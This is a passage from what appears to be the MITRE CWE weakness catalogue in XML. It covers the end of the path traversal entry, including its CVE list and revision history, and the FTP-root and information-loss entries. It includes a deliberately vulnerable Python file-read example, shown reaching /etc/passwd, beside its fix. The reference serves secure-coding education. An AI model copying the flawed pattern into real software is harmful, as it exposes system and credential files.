               <Body_Text>Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-159">
               <Intro_Text>This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>
                  import os<xhtml:br/>
                  import sys<xhtml:br/>
                  def main():<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                     filename = sys.argv[1]<xhtml:br/>
                     path = os.path.join(os.getcwd(), filename)<xhtml:br/>
                     try:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        with open(path, 'r') as f:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           file_data = f.read()<xhtml:br/>
                           </xhtml:div>
                        </xhtml:div>
                     except FileNotFoundError as e:<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        print("Error - file not found")<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  main()
                  </xhtml:div>
               </Example_Code>
               <Body_Text>However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>
                     import os<xhtml:br/>
                     import sys<xhtml:br/>
                     def main():<xhtml:br/>
                        <xhtml:div style="margin-left:1em;">
                        filename = sys.argv[1]<xhtml:br/>
                        path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")<xhtml:br/>
                        try:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           with open(path, 'r') as f:<xhtml:br/>
                              <xhtml:div style="margin-left:1em;">
                              file_data = f.read()<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        except FileNotFoundError as e:<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                           print("Error - file not found")<xhtml:br/>
                           </xhtml:div>
                        </xhtml:div>
                     main()
                     </xhtml:div>
               </Example_Code>
               <Body_Text>The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-20916</Reference>
               <Description>Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-20916</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-31503</Reference>
               <Description>Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-31503</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-24877</Reference>
               <Description>directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-24877</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21972</Reference>
               <Description>Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-4053</Reference>
               <Description>a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-4053</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3452</Reference>
               <Description>Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3452</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-10743</Reference>
               <Description>Go-based archive library allows extraction of  files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-10743</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0467</Reference>
               <Description>Newsletter module allows reading arbitrary files using "../" sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0467</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4194</Reference>
               <Description>FTP server allows deletion of arbitrary files using ".." in the DELE command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4194</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4053</Reference>
               <Description>FTP server allows creation of arbitrary directories using ".." in the MKD command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4053</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0244</Reference>
               <Description>FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0244</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4013</Reference>
               <Description>Software package maintenance program allows overwriting arbitrary files using "../" sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4013</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4449</Reference>
               <Description>Bulletin board allows attackers to determine the existence of files using the avatar.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4449</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4581</Reference>
               <Description>PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4581</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0012</Reference>
               <Description>Overwrite of files using a .. in a Torrent file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0012</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0013</Reference>
               <Description>Chat program allows overwriting files using a custom smiley request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0013</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5748</Reference>
               <Description>Chain: external control of values for user's desired language and theme enables path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5748</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1936</Reference>
               <Description>Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1936</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A4</Entry_ID>
               <Entry_Name>Insecure Direct Object Reference</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO02-C</Entry_ID>
               <Entry_Name>Canonicalize path names originating from untrusted sources</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS00-PL</Entry_ID>
               <Entry_Name>Canonicalize path names before validating them</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>33</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-22</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="126"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 11, &#34;Directory Traversal and Using Parent Paths (..)&#34; Page 370"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-185"/>
            <Reference External_Reference_ID="REF-186"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Filenames and Paths&#34;, Page 503"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-22"/>
         </References>
         <Notes>
            <Note Type="Relationship">Pathname equivalence can be regarded as a type of canonicalization error.</Note>
            <Note Type="Relationship">Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).</Note>
            <Note Type="Terminology">
               <xhtml:p>Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.</xhtml:p>
               <xhtml:p>Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.</xhtml:p>
            </Note>
            <Note Type="Research Gap">Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.</Note>
            <Note Type="Research Gap">
               <xhtml:p>Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.</xhtml:p>
               <xhtml:p>Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Nick Johnston</Contribution_Name>
				  <Contribution_Date>2022-07-11</Contribution_Date>
				  <Contribution_Comment>Identified weakness in Perl demonstrative example</Contribution_Comment>
				</Contribution>
            <Previous_Entry_Name Date="2010-02-16">Path Traversal</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="220" Name="Storage of File With Sensitive Data Under FTP Root" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Avoid storing information under the FTP root directory.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Sensitive Data Under FTP Root</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Sensitive Data Under FTP Root</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="221" Name="Information Loss or Omission" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.</Description>
         <Extended_Description>This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Information loss or omission</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="81"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
